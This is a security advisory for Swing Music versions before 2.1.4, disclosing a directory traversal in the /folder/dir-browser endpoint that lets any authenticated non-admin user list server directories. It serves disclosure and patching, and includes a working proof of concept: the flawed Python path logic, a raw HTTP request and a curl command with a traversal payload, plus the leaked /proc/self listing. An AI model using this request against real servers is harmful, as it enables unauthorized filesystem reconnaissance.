GHSA-pj88-9xww-gxmh Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

• PyPI swingmusic: < 2.1.4 → fixed in 2.1.4

Summary Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Details The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks: • No authorization requirement: Any authenticated user can access the endpoint • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal: ```python req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc') if not req_dir.exists(): # → False req_dir = "/" / req_dir # → PosixPath('/../../../../etc') ``` PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive {"folder":"/music/../proc/self/", "tracks_only":false} ``` ```bash curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \ --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \ $'http://IP:1970/folder/dir-browser' ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: application/json Content-Length: 466 Vary: Accept-Encoding Connection: Keep-Alive {"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]} ``` Impact Information Disclosure: • Server filesystem structure and layout • Configuration file locations and names • User account names from directory listings • Software versions and installed packages • Log file locations and system paths Additional Risks: • Preparation for further attacks (LFI, RCE) • Bypass of access control mechanisms • Exposure of sensitive directory structures
